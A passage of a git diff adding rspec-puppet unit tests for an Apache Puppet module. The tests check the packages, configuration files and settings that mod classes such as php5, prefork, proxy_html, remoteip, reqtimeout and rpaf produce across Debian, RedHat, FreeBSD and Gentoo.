:is_pe => false, + } + end + context "with mpm_module => prefork" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("dev-lang/php") } + it { is_expected.to contain_file('php5.load') } + end + context "with mpm_module => itk" do + let :pre_condition do + 'class { "apache": mpm_module => itk, }' + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_class('apache::mod::itk') } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("dev-lang/php") } + it { is_expected.to contain_file('php5.load') } + end + end + describe "OS independent tests" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :concat_basedir => '/dne', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context 'with content param' do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let :params do + { :content => 'somecontent' } + end + it { should contain_file('php5.conf').with( + :content => 'somecontent' + ) } + end + context 'with template param' do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let :params do + { :template => 'apache/mod/php.conf.erb' } + end + it { should contain_file('php5.conf').with( + :content => /^# PHP is an HTML-embedded scripting language which attempts to make it/ + ) } + end + context 'with source param' do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let :params do + { :source => 'some-path' } + end + it { should contain_file('php5.conf').with( + :source => 'some-path' + ) } + end + context 'content has priority over template' do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let :params do + { + :template => 'apache/mod/php5.conf.erb', + :content => 'somecontent' + } + end + it { should contain_file('php5.conf').with( + :content => 'somecontent' + ) } + end + context 'source has priority over template' do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let :params do + { + :template => 'apache/mod/php5.conf.erb', + :source => 'some-path' + } + end + it { should contain_file('php5.conf').with( + :source => 'some-path' + ) } + end + context 'source has priority over content' do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let :params do + { + :content => 'somecontent', + :source => 'some-path' + } + end + it { should contain_file('php5.conf').with( + :source => 'some-path' + ) } + end + context 'with mpm_module => worker' do + let :pre_condition do + 'class { "apache": mpm_module => worker, }' + end + it 'should raise an error' do + expect { expect(subject).to contain_apache__mod('php5') }.to raise_error Puppet::Error, /mpm_module => 'prefork' or mpm_module => 'itk'/ + end + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/prefork_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/prefork_spec.rb new file mode 100644 index 000000000..3e2954fc7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/prefork_spec.rb @@ -0,0 +1,134 @@ +require 'spec_helper' + +describe 'apache::mod::prefork', :type => :class do + let :pre_condition do + 'class { "apache": mpm_module => false, }' + end + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('prefork') } + it { is_expected.to contain_file("/etc/apache2/mods-available/prefork.conf").with_ensure('file') } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/prefork.conf").with_ensure('link') } + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + it { is_expected.not_to contain_file("/etc/apache2/mods-available/prefork.load") } + it { is_expected.not_to contain_file("/etc/apache2/mods-enabled/prefork.load") } + + it { is_expected.to contain_package("apache2-mpm-prefork") } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.to contain_file("/etc/apache2/mods-available/prefork.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so\n" + }) + } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/prefork.load").with_ensure('link') } + end + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('prefork') } + it { is_expected.to contain_file("/etc/httpd/conf.d/prefork.conf").with_ensure('file') } + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + it { is_expected.to contain_file_line("/etc/sysconfig/httpd prefork enable").with({ + 'require' => 'Package[httpd]', + }) + } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.not_to contain_apache__mod('event') } + + it { is_expected.to contain_file("/etc/httpd/conf.d/prefork.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_prefork_module modules/mod_mpm_prefork.so\n", + }) + } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('prefork') } + it { is_expected.to contain_file("/usr/local/etc/apache24/Modules/prefork.conf").with_ensure('file') } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('prefork') } + it { is_expected.to contain_file("/etc/apache2/modules.d/prefork.conf").with_ensure('file') } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_balancer_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_balancer_spec.rb new file mode 100644 index 000000000..d646ba750 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_balancer_spec.rb @@ -0,0 +1,95 @@ +require 'spec_helper' + +# Helper function for testing the contents of `proxy_balancer.conf` +def balancer_manager_conf_spec(allow_from, manager_path) + it do + is_expected.to contain_file("proxy_balancer.conf").with_content( + "\n"\ + " SetHandler balancer-manager\n"\ + " Require ip #{Array(allow_from).join(' ')}\n"\ + "\n" + ) + end +end + +describe 'apache::mod::proxy_balancer', :type => :class do + let :pre_condition do + [ + 'include apache::mod::proxy', + ] + end + it_behaves_like "a mod class, without including apache" + + context "default configuration with default parameters" do + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '8', + :concat_basedir => '/dne', + :lsbdistcodename => 'jessie', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_apache__mod("proxy_balancer") } + + it { is_expected.to_not contain_file("proxy_balancer.conf") } + it { is_expected.to_not contain_file("proxy_balancer.conf symlink") } + + end + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_apache__mod("proxy_balancer") } + + it { is_expected.to_not contain_file("proxy_balancer.conf") } + it { is_expected.to_not contain_file("proxy_balancer.conf symlink") } + + end + end + + context "default configuration with custom parameters $manager => true, $allow_from => ['10.10.10.10','11.11.11.11'], $status_path => '/custom-manager'" do + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '8', + :concat_basedir => '/dne', + :lsbdistcodename => 'jessie', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do + { + :manager => true, + :allow_from => ['10.10.10.10','11.11.11.11'], + :manager_path => '/custom-manager', + } + end + + balancer_manager_conf_spec(["10.10.10.10", "11.11.11.11"], "/custom-manager") + + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_connect_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_connect_spec.rb new file mode 100644 index 000000000..33059c07b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_connect_spec.rb @@ -0,0 +1,65 @@ +require 'spec_helper' + +describe 'apache::mod::proxy_connect', :type => :class do + let :pre_condition do + [ + 'include apache::mod::proxy', + ] + end + it_behaves_like "a mod class, without including apache" + context 'on a Debian OS' do + let :facts do + { + :osfamily => 'Debian', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context 'with Apache version < 2.2' do + let :facts do + super().merge({ + :operatingsystemrelease => '7.0', + :lsbdistcodename => 'wheezy', + }) + end + let :params do + { + :apache_version => '2.1', + } + end + it { is_expected.not_to contain_apache__mod('proxy_connect') } + end + context 'with Apache version = 2.2' do + let :facts do + super().merge({ + :operatingsystemrelease => '7.0', + :lsbdistcodename => 'wheezy', + }) + end + let :params do + { + :apache_version => '2.2', + } + end + it { is_expected.to contain_apache__mod('proxy_connect') } + end + context 'with Apache version >= 2.4' do + let :facts do + super().merge({ + :operatingsystemrelease => '8.0', + :lsbdistcodename => 'jessie', + }) + end + let :params do + { + :apache_version => '2.4', + } + end + it { is_expected.to contain_apache__mod('proxy_connect') } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_html_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_html_spec.rb new file mode 100644 index 000000000..0d70276c2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_html_spec.rb @@ -0,0 +1,128 @@ +require 'spec_helper' + +describe 'apache::mod::proxy_html', :type => :class do + let :pre_condition do + [ + 'include apache::mod::proxy', + 'include apache::mod::proxy_http', + ] + end + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + shared_examples "debian" do |loadfiles| + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('proxy_html').with(:loadfiles => loadfiles) } + it { is_expected.to contain_package("libapache2-mod-proxy-html") } + end + let :facts do + { + :osfamily => 'Debian', + :concat_basedir => '/dne', + :architecture => 'i386', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :hardwaremodel => 'i386', + :is_pe => false, + } + end + + context "on squeeze" do + let(:facts) { super().merge({ :operatingsystemrelease => '6' }) } + it_behaves_like "debian", ['/usr/lib/libxml2.so.2'] + it { is_expected.to_not contain_apache__mod('xml2enc') } + end + context "on wheezy" do + let(:facts) { super().merge({ :operatingsystemrelease => '7' }) } + it { is_expected.to_not contain_apache__mod('xml2enc') } + context "i386" do + let(:facts) { super().merge({ + :hardwaremodel => 'i686', + :architecture => 'i386' + })} + it_behaves_like "debian", ["/usr/lib/i386-linux-gnu/libxml2.so.2"] + end + context "x64" do + let(:facts) { super().merge({ + :hardwaremodel => 'x86_64', + :architecture => 'amd64' + })} + it_behaves_like "debian", ["/usr/lib/x86_64-linux-gnu/libxml2.so.2"] + end + end + context "on jessie" do + let(:facts) { super().merge({ :operatingsystemrelease => '8' }) } + it { is_expected.to contain_apache__mod('xml2enc').with(:loadfiles => nil) } + context "i386" do + let(:facts) { super().merge({ + :hardwaremodel => 'i686', + :architecture => 'i386' + })} + it_behaves_like "debian", ["/usr/lib/i386-linux-gnu/libxml2.so.2"] + end + context "x64" do + let(:facts) { super().merge({ + :hardwaremodel => 'x86_64', + :architecture => 'amd64' + })} + it_behaves_like "debian", ["/usr/lib/x86_64-linux-gnu/libxml2.so.2"] + end + end + end + context "on a RedHat OS", :compile do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('proxy_html').with(:loadfiles => nil) } + it { is_expected.to contain_package("mod_proxy_html") } + it { is_expected.to contain_apache__mod('xml2enc').with(:loadfiles => nil) } + end + context "on a FreeBSD OS", :compile do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('proxy_html').with(:loadfiles => nil) } + it { is_expected.to contain_apache__mod('xml2enc').with(:loadfiles => nil) } + it { is_expected.to contain_package("www/mod_proxy_html") } + end + context "on a Gentoo OS", :compile do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('proxy_html').with(:loadfiles => nil) } + it { is_expected.to contain_apache__mod('xml2enc').with(:loadfiles => nil) } + it { is_expected.to contain_package("www-apache/mod_proxy_html") } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_wstunnel.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_wstunnel.rb new file mode 100644 index 000000000..5af217a05 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/proxy_wstunnel.rb @@ -0,0 +1,5 @@ +require 'spec_helper' + +describe 'apache::mod::proxy_wstunnel', :type => :class do + it_behaves_like "a mod class, without including apache" +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/python_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/python_spec.rb new file mode 100644 index 000000000..1393293a9 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/python_spec.rb @@ -0,0 +1,75 @@ +require 'spec_helper' + +describe 'apache::mod::python', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("python") } + it { is_expected.to contain_package("libapache2-mod-python") } + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("python") } + it { is_expected.to contain_package("mod_python") } + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("python") } + it { is_expected.to contain_package("www/mod_python3") } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("python") } + it { is_expected.to contain_package("www-apache/mod_python") } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/remoteip_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/remoteip_spec.rb new file mode 100644 index 000000000..d75ea5603 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/remoteip_spec.rb @@ -0,0 +1,48 @@ +require 'spec_helper' + +describe 'apache::mod::remoteip', :type => :class do + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '8', + :concat_basedir => '/dne', + :lsbdistcodename => 'jessie', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + } + end + let :params do + { :apache_version => '2.4' } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('remoteip') } + it { is_expected.to contain_file('remoteip.conf').with({ + 'path' => '/etc/apache2/mods-available/remoteip.conf', + }) } + + describe "with header X-Forwarded-For" do + let :params do + { :header => 'X-Forwarded-For' } + end + it { is_expected.to contain_file('remoteip.conf').with_content(/^RemoteIPHeader X-Forwarded-For$/) } + end + describe "with proxy_ips => [ 10.42.17.8, 10.42.18.99 ]" do + let :params do + { :proxy_ips => [ '10.42.17.8', '10.42.18.99' ] } + end + it { is_expected.to contain_file('remoteip.conf').with_content(/^RemoteIPInternalProxy 10.42.17.8$/) } + it { is_expected.to contain_file('remoteip.conf').with_content(/^RemoteIPInternalProxy 10.42.18.99$/) } + end + describe "with Apache version < 2.4" do + let :params do + { :apache_version => '2.2' } + end + it 'should fail' do + expect { catalogue }.to raise_error(Puppet::Error, /mod_remoteip is only available in Apache 2.4/) + end + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/reqtimeout_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/reqtimeout_spec.rb new file mode 100644 index 000000000..c3a09777c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/reqtimeout_spec.rb @@ -0,0 +1,146 @@ +require 'spec_helper' + +describe 'apache::mod::reqtimeout', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :lsbdistcodename => 'squeeze', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-40,minrate=500\nRequestReadTimeout body=10,minrate=500$/) } + end + context "passing timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']" do + let :params do + {:timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600\nRequestReadTimeout body=60,minrate=600$/) } + end + context "passing timeouts => 'header=20-60,minrate=600'" do + let :params do + {:timeouts => 'header=20-60,minrate=600'} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600$/) } + end + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Redhat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-40,minrate=500\nRequestReadTimeout body=10,minrate=500$/) } + end + context "passing timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']" do + let :params do + {:timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600\nRequestReadTimeout body=60,minrate=600$/) } + end + context "passing timeouts => 'header=20-60,minrate=600'" do + let :params do + {:timeouts => 'header=20-60,minrate=600'} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600$/) } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-40,minrate=500\nRequestReadTimeout body=10,minrate=500$/) } + end + context "passing timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']" do + let :params do + {:timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600\nRequestReadTimeout body=60,minrate=600$/) } + end + context "passing timeouts => 'header=20-60,minrate=600'" do + let :params do + {:timeouts => 'header=20-60,minrate=600'} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600$/) } + end + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-40,minrate=500\nRequestReadTimeout body=10,minrate=500$/) } + end + context "passing timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']" do + let :params do + {:timeouts => ['header=20-60,minrate=600', 'body=60,minrate=600']} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600\nRequestReadTimeout body=60,minrate=600$/) } + end + context "passing timeouts => 'header=20-60,minrate=600'" do + let :params do + {:timeouts => 'header=20-60,minrate=600'} + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('reqtimeout') } + it { is_expected.to contain_file('reqtimeout.conf').with_content(/^RequestReadTimeout header=20-60,minrate=600$/) } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/rpaf_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/rpaf_spec.rb new file mode 100644 index 000000000..13f0e6c8c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/rpaf_spec.rb @@ -0,0 +1,126 @@ +require 'spec_helper' + +describe 'apache::mod::rpaf', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('rpaf') } + it { is_expected.to contain_package("libapache2-mod-rpaf") } + it { is_expected.to contain_file('rpaf.conf').with({ + 'path' => '/etc/apache2/mods-available/rpaf.conf', + }) } + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFenable On$/) } + + describe "with sethostname => true" do + let :params do + { :sethostname => 'true' } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFsethostname On$/) } + end + describe "with proxy_ips => [ 10.42.17.8, 10.42.18.99 ]" do + let :params do + { :proxy_ips => [ '10.42.17.8', '10.42.18.99' ] } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFproxy_ips 10.42.17.8 10.42.18.99$/) } + end + describe "with header => X-Real-IP" do + let :params do + { :header => 'X-Real-IP' } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFheader X-Real-IP$/) } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('rpaf') } + it { is_expected.to contain_package("www/mod_rpaf2") } + it { is_expected.to contain_file('rpaf.conf').with({ + 'path' => '/usr/local/etc/apache24/Modules/rpaf.conf', + }) } + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFenable On$/) } + + describe "with sethostname => true" do + let :params do + { :sethostname => 'true' } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFsethostname On$/) } + end + describe "with proxy_ips => [ 10.42.17.8, 10.42.18.99 ]" do + let :params do + { :proxy_ips => [ '10.42.17.8', '10.42.18.99' ] } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFproxy_ips 10.42.17.8 10.42.18.99$/) } + end + describe "with header => X-Real-IP" do + let :params do + { :header => 'X-Real-IP' } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFheader X-Real-IP$/) } + end + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('rpaf') } + it { is_expected.to contain_package("www-apache/mod_rpaf") } + it { is_expected.to contain_file('rpaf.conf').with({ + 'path' => '/etc/apache2/modules.d/rpaf.conf', + }) } + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFenable On$/) } + + describe "with sethostname => true" do + let :params do + { :sethostname => 'true' } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFsethostname On$/) } + end + describe "with proxy_ips => [ 10.42.17.8, 10.42.18.99 ]" do + let :params do + { :proxy_ips => [ '10.42.17.8', '10.42.18.99' ] } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFproxy_ips 10.42.17.8 10.42.18.99$/) } + end + describe "with header => X-Real-IP" do + let :params do + { :header => 'X-Real-IP' } + end + it { is_expected.to contain_file('rpaf.conf').with_content(/^RPAFheader X-Real-IP$/) } + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/security_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/security_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/security_spec.rb 